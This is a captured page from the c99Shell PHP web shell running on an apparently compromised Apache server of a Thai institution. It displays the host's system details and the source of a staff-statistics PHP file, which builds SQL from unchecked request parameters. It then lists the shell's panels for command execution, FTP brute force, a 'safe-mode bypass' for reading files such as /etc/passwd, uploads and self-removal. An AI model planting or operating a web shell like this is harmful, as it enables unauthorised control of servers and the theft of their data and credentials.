!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/develop_person_depart/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Conclude.php (17.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
        
        
/**  Chart  */
        
include ("../includes/charts.php");
        
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

    
        
/**  Config Table for This Page  */
        
$myTable "personal_tb";
        
$myTableFK "Teacher_id";
        
$myOrderBy "Teacher_id,Teacher_name";
        
        
$params "StatusId=1";
        
        
        
/**  Paging */
        
$page $_GET['page'];
        if( 
$page == "" ) { $page 1; }
            
        
/**  จำนวนข้อมูล ต่อ 1 หน้า  */
        
$perpage $_REQUEST['perpage'];
        if( 
$perpage == "" ) { $perpage 10; }
        
        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<title>ข้อมูลการพัฒนาบุคลากร - ข้อมูลงานประวัติการดำรงตำแหน่ง</title>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px">
    <?php
        
/**  Config Paging  */
        
if( $perpage == "" ) { $limit $_Config_limit; }
        else { 
$limit $perpage; }
        
        
$scroll $_Config_scroll
        
        
/**  ตั้งค่า Default สำหรับการทำ Order By  */
        
if( $OrderBy == "" ) { $OrderBy $myOrderBy; }
                        
        if( !isset(
$_GET['ASCDESC']) ) { $ASCDESC "ASC"; }
                        
        if( 
$_GET['ASCDESC'] == "ASC" ) { $ASCDESC "DESC"; } 
        elseif( 
$_GET['ASCDESC'] == "DESC" ) { $ASCDESC "ASC"; }
        
        
/**  Query เพื่อหา Numrows ก่อน  */
        
$query " SELECT *  FROM $myTable ";
        
$result $dbObj->execQuery($query);
        
$numrows $dbObj->_numrows;
        
        
/**  Paging  */
        
$display = ( !isset ($_GET['page']) ) ? $_GET['page'];
        
$start = ( ($display $limit) - $limit );
        
/**  Paging  */
        
        
if( isset($_GET['OrderBy']) ) {
            
$query " SELECT *  FROM $myTable  ORDER BY  $OrderBy  $ASCDESC ";
        } 
        elseif( !isset(
$_GET['OrderBy']) ) {
            
$query " SELECT *  FROM $myTable  ORDER BY  $myOrderBy  ASC ";
        }
        
        
$query .= " LIMIT $start, $limit ";
        
$result $dbObj->execQuery($query);
        
        
$total $numrows;
    
?>
    <fieldset>
     <table width="780" border="0" cellspacing="0" cellpadding="0">
      <form id="myForm" name="myForm" method="post" action="<?=$PHP_SELF;?>?page=<?=$page;?>&amp;<?=$params;?>">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong>&raquo; <a href="Menu_Personal.php">ข้อมูลบุคลากร</a> &raquo; <span class="NOTE">รายละเอียดสัดส่วนการศึกษา</span></strong></td>
        </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td height="345" align="center" valign="top"><table width="89%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#CCCCCC" class="table" style="border:0px solid gray">
              <tr bgcolor="#F3ECD2" >
                <td height="25" colspan="4" align="center" bgcolor="#F0F0F0"><font color="#003366" face="Tahoma" class="PATRON11">แสดงรายละเอียดสัดส่วนการศึกษา</font></td>
              </tr>
              <tr>
                <td height="20" align="center" bgcolor="#F8F8F8"><font color="#003366" face="Tahoma"><strong>วุฒิ</strong></font></td>
                <td align="center" bgcolor="#F8F8F8"><font color="#003366" face="Tahoma"><strong>จำนวน (คน)</strong></font></td>
                <td align="center" bgcolor="#F8F8F8"><font color="#003366" face="Tahoma"><strong>ร้อยละ</strong></font></td>
              </tr>
              <tr bordercolor="#CCCCCC">
                <td width="46%" bgcolor="#FFFFFF">
                <font color="#000000" face="Tahoma">ปริญญาตรี</font></td>
                <td width="28%" align="center" bgcolor="#FFFFFF"><font color="#000000" face="Tahoma"><strong> <a href="DegreeList.php?Degree_code=1">
                <?php   
                $sql1 
" SELECT COUNT(Degree_code) AS num1  FROM personal_tb  WHERE Degree_code=1 ";
                
$result mysql_query($sql1) or die(" Error").mysql_error();
                
$rs1 mysql_fetch_array($result);
                
//mysql_free_result($result);
                    
echo "$rs1[num1]";
                
?></a></strong></font></td>
                <td width="26%" align="center" bgcolor="#FFFFFF"><font color="#000000" face="Tahoma"><strong>
                <?php   
                $per1 
= ($rs1['num1'] * 100) / $total;
                    echo 
number_format($per1,2,'.','.');
                
?></strong></font></td>
              </tr>
              <tr bordercolor="#CCCCCC">
                <td height="22" bgcolor="#FFFFFF">
                <font color="#000000" face="Tahoma">ปริญญาโท</font></td>
                <td align="center" bgcolor="#FFFFFF"><font color="#000000" face="Tahoma"><strong> <a href="DegreeList.php?Degree_code=2">
                  <?php   
                $sql2 
" SELECT COUNT(Degree_code) AS num2  FROM personal_tb  WHERE Degree_code=2 ";
                
$result mysql_query($sql2) or die(" Error").mysql_error();
                
$rs2 mysql_fetch_array($result);
                
//mysql_free_result($result);
                    
echo "$rs2[num2]";
                
?></a></strong></font></td>
                <td align="center" bgcolor="#FFFFFF"><font color="#000000" face="Tahoma"><strong>
                <?php   
                $per2 
= ($rs2['num2'] * 100) / $total;
                    echo 
number_format($per2,2,'.','.');
                
?></strong></font></td>
              </tr>
              <tr bordercolor="#CCCCCC">
                <td bgcolor="#FFFFFF">
                <font color="#000000" face="Tahoma">ปริญญาเอก</font></td>
                <td align="center" bgcolor="#FFFFFF"><font color="#000000" face="Tahoma"><strong> <a href="DegreeList.php?Degree_code=3">
                <?php   
                $sql3 
" SELECT COUNT(Degree_code) AS num3  FROM personal_tb  WHERE Degree_code=3 ";
                
$result mysql_query($sql3) or die(" Error").mysql_error();
                
$rs3 mysql_fetch_array($result);
                
//mysql_free_result($result);
                    
echo "$rs3[num3]";
                
?></a></strong></font></td>
                <td align="center" bgcolor="#FFFFFF"><font color="#000000" face="Tahoma"><strong>
                <?php   
                $per3 
= ($rs3['num3'] * 100) / $total;
                    echo 
number_format($per3,2,'.','.');
                
?></strong></font></td>
              </tr>
              <tr bgcolor="#F8F8F8">
                <td height="22">&nbsp;</td>
                <td colspan="3"><table width="80%" border="0" align="center" cellpadding="0" cellspacing="0">
                    <tr bgcolor="#FFFFCC">
                      <td width="30%" height="20" align="center"><font color="#003366" face="Tahoma"><strong>ปริญญาตรี</strong></font></td>
                      <td width="30%" align="center"><font color="#003366" face="Tahoma"><strong>ปริญญาโท</strong></font></td>
                      <td width="30%" align="center"><font color="#003366" face="Tahoma"><strong>ปริญญาเอก</strong></font></td>
                    </tr>
                </table></td>
              </tr>
              <tr bordercolor="#CCCCCC">
                <td align="left" bgcolor="#FFFFFF">
                  <font color="#003366" face="Tahoma">อัตราส่วน</font></td>
                <td colspan="3" align="center" bgcolor="#FFFFFF"> <font color="#FF0000" face="Tahoma"><strong>
                  </strong></font>
                  <table width="80%" border="0" cellspacing="0" cellpadding="0">
                    <tr>
                      <td width="30%" align="center"><font color="#FF0000" face="Tahoma"><strong>
                        <?php
                            
echo number_format($per1,2,'.','.');
                      
?></strong></font></td>
                      <td width="6%" align="center"><font color="#FF0000" face="Tahoma"><strong><font color="#000000">:</font></strong></font></td>
                      <td width="27%" align="center"><font color="#FF0000" face="Tahoma"><strong>
                        <?php
                            
echo number_format($per2,2,'.','.');
                     
?></strong></font></td>
                      <td width="7%" align="center"><font color="#FF0000" face="Tahoma"><strong><font color="#000000">:</font></strong></font></td>
                      <td width="30%" align="center"><font color="#FF0000" face="Tahoma"><strong>
                        <?php
                            
echo number_format($per3,2,'.','.');
                      
?></strong></font></td>
                    </tr>
                  </table>
                  </td>
              </tr>
              <tr bordercolor="#CCCCCC">
                <td align="left" bgcolor="#FFFFFF">
                  <font color="#003366" face="Tahoma">จำนวนอาจารย์วุฒิทางการพยาบาล</font></td>
                <td colspan="3" align="center" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma"><strong>
                  <?php   
                    $sql7 
" SELECT COUNT(Teacher_type) AS num7  FROM personal_tb  WHERE  Teacher_type=5 ";
                    
$result mysql_query($sql7) or die(" Error").mysql_error();
                    
$rs7mysql_fetch_array($result);
                    
//mysql_free_result($result);
                    
echo "$rs7[num7]";
                
?>
                </strong></font> <font color="#003366" face="Tahoma"><strong>คน</strong></font></td>
              </tr>
              <tr bordercolor="#CCCCCC">
                <td align="left" bgcolor="#FFFFFF">
                <font color="#003366" face="Tahoma">จำนวนอาจารย์วุฒิทันตแพทย์ศาสตรบัณฑิต</font></td>
                <td colspan="3" align="center" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma"><strong>
                  <?php   
                    $sql4 
" SELECT COUNT(Teacher_type) AS num4  FROM personal_tb  WHERE  Teacher_type=1 ";
                    
$result mysql_query($sql4) or die(" Error").mysql_error();
                    
$rs4 mysql_fetch_array($result);
                    
//mysql_free_result($result);
                    
echo "$rs4[num4]";
                
?>
                </strong></font><span><font color="#003366" face="Tahoma"><strong>คน</strong></font></span></td>
              </tr>
              <tr bordercolor="#CCCCCC">
                <td align="left" bgcolor="#FFFFFF">
                <font color="#003366" face="Tahoma">จำนวนอาจารย์วุฒิเภสัชศาสตรบัณฑิต</font></td>
                <td colspan="3" align="center" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma"><strong>
                <?php   
                $sql5 
" SELECT COUNT(Teacher_type) AS num5  FROM personal_tb  WHERE  Teacher_type=4 ";
                
$result mysql_query($sql5) or die(" Error").mysql_error();
                
$rs5 mysql_fetch_array($result);
                
//mysql_free_result($result);
                    
echo "$rs5[num5]";
                
?>
                </strong></font><span><font color="#003366" face="Tahoma"><strong>คน</strong></font></span></td>
              </tr>
              <tr bordercolor="#CCCCCC">
                <td align="left" bgcolor="#FFFFFF">
                <font color="#003366" face="Tahoma">จำนวนอาจารย์ตำแหน่งวิทยาจารย์</font></td>
                <td colspan="3" align="center" bgcolor="#FFFFFF"><strong><font color="#000000" size="2" face="Tahoma"><strong>
                <?php   
                $sql6 
" SELECT COUNT(Teacher_type) AS num6  FROM personal_tb  WHERE  Teacher_type=2 ";
                
$result mysql_query($sql6) or die(" Error").mysql_error();
                
$rs6mysql_fetch_array($result);
                
//mysql_free_result($result);
                    
echo "$rs6[num6]";
                
?>
                </strong></font></strong><span><font color="#003366" face="Tahoma"><strong>คน</strong></font></span></td>
              </tr>
              <tr bordercolor="#CCCCCC">
                <td align="left" bgcolor="#FFFFFF">
                <font color="#003366" face="Tahoma">จำนวนอาจารย์ทั้งหมด</font></td>
                <td colspan="3" align="center" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma"><strong>
                <?php 
                $sql 
" SELECT  * FROM personal_tb  WHERE  Teacher_type='1'  OR  Teacher_type='2'  OR  Teacher_type='4'  OR  Teacher_type='5' ";
                
$result mysql_query($sql) or die(" Error").mysql_error();
                
$num mysql_num_rows($result);
                
//mysql_free_result($result);
                    
echo "$num ";
                
?>
                  คน </strong></font></td>
              </tr>
              <tr bordercolor="#CCCCCC">
                <td align="left" bgcolor="#FFFFFF">
                  <font color="#003366" face="Tahoma">จำนวนนักศึกษา</font></td>
                <td colspan="3" align="center" bgcolor="#FFFFFF"><font color="#FF0000"><strong><font color="#003366" face="Tahoma">
                  <?php 
                    
//REG Database Connect
                    
$dbObj->REGDBConn();

                    
//$sql4 =" SELECT * FROM student_tb  WHERE Succ_Status='1' ";
                    //$res2 = mysql_query($sql4) or die("Error".mysql_error());
                    //$Total_std = mysql_num_rows($res2);
                    //mysql_free_result($res2);
                    //echo "$Total_std";

                    
$sql4 "select count(*) as Total_std from StudentMaster where studentStatus = '1'";
                    
$res2 mysql_query($sql4);
                    
$rs2 mysql_fetch_object($res2);
                    echo 
$rs2->Total_std;

                    
//MIS Database Connect
                    
$dbObj->DBConn();
                
?>
                คน</font></strong></font></td>
              </tr>
              <tr bordercolor="#CCCCCC">
                <td align="left" bgcolor="#FFFFFF">
                  <font color="#003366" face="Tahoma">สัดส่วนอาจารย์ที่มีวุฒิสาธารณสุข 
                  ต่อ จำนวนนักศึกษา</font></td>
                <td colspan="3" align="center" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma"><strong>
                <?php 
                $sql 
" SELECT COUNT(Type_Degree) AS CountNurse FROM personal_tb WHERE Type_Degree='1' ";
                
$result mysql_query($sql) or die(" Error").mysql_error();
                
$rs mysql_fetch_array($result);
                
//mysql_free_result($rs);
                
$rs['CountNurse'] ;
                    echo 
"$rs[CountNurse] ";
                
?>
                : </strong><font color="#FF0000"><strong>
                <?php 
                
// $CountNurse = $rs[CountNurse];
                
$sql4 =" SELECT *  FROM student_tb  WHERE Succ_Status='1' ";
                
$res2 mysql_query($sql4) or die("Error".mysql_error());
                
$Total_std mysql_num_rows($res2);
                
//mysql_free_result($res2);
                
echo "$Total_std";            
                
?>
                </strong></font></font> </td>
              </tr>
              <tr bordercolor="#CCCCCC">
                <td align="left" bgcolor="#FFFFFF">
                <font face="Tahoma"><font color="#003366">สัดส่วนอาจารย์</font><font color="#003366" face="Tahoma">ทั้งหมดต่อจำนวนนักศึกษา</font></font></td>
                <td colspan="3" align="center" bgcolor="#FFFFFF"><font color="#FF0000"><strong> <font color="#003366" face="Tahoma">
                <?php 
                $sql 
" SELECT  * FROM personal_tb  WHERE  Teacher_type='1' OR Teacher_type='2'  OR Teacher_type='4' OR Teacher_type='5' ";
                
$result mysql_query($sql) or die(" Error").mysql_error();
                
$num mysql_num_rows($result);
                
//mysql_free_result($result);
                    
echo "$num ";
                
?>
                </font></strong></font><font color="#003366" face="Tahoma"><strong> : 
                <?php 
                
// $CountNurse = $rs[CountNurse];
                
$sql4 =" SELECT *  FROM student_tb  WHERE Succ_Status='1' ";
                
$res2 mysql_query($sql4) or die("Error".mysql_error());
                
$Total_std mysql_num_rows($res2);
                
//mysql_free_result($res2);
                    
echo "$Total_std";            
                
?>
                </strong></font></td>
              </tr>
              <tr >
                <td height="20" colspan="4" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
              <tr >
                <td height="20" colspan="4" align="center" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
            </table>
        </td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0071 ]--